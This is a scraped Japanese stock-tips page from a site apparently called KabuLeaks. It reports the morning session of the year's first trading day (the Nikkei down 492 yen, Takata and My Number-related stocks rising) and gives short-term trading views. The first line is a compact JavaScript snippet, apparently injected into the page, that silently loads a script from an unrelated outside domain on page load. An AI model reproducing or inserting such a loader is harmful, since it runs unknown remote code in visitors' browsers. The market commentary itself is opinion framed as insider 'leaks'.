;(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,"script","https://treegreeny.org/KDJnCSZn"); 仕手株・ファンド介入リーク情報【1/4 大発会 前引け】|【KabuLeaks 〜株リークス〜】
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仕手株・ファンド介入リーク情報【1/4 大発会 前引け】

大発会の前場の日経平均は492円安と大幅反落。年末の欧米株安から反落してのスタート。その後は一旦値頃間などから押し目買いが入り下げ渋る場面もあったが、その後発表された15年12月の財新・中国製造業PMIの悪化からの中国経済の先行き不安、円高、1ドル・120円を割ったことから下げ幅を拡大し、一時500円超まで下げ幅を拡大した。業種別では、値上がりは鉱業の1業種のみ。一方、食料品、電気・ガス業、ゴム製品、倉庫運輸関連などが値下がり率上位となっている。

個別では、国内自動車メーカーが共同出資で支援との報道からエアバックの【7312】タカタが急伸、一時ストップ高となったほか、1月1日から税と社会保障の共通番号(マイナンバー)の運用が本格的に始まり関連銘柄の【3742】Itbookが年末高からの流れ継続し大幅高に。また、テーマ株物色の流れも継続し、フィンテック関連、ドローン関連など【3778】さくらインターネット、【3690】ロックオン、【3853】インフォテリア、【6888】アクモス、【2667】イメージワンなどが人気を集める。

後場の日経平均はもう一段安を警戒。既に先物では直近の安値として意識されていた節目18,520円割れ。後場このラインを回復できないようなら下値模索の旅となる可能性が高い。目先は中小型株、テーマ株中心の短期値幅取り狙い。主力などの押し目狙いは現状では控えたほうが無難かと思う。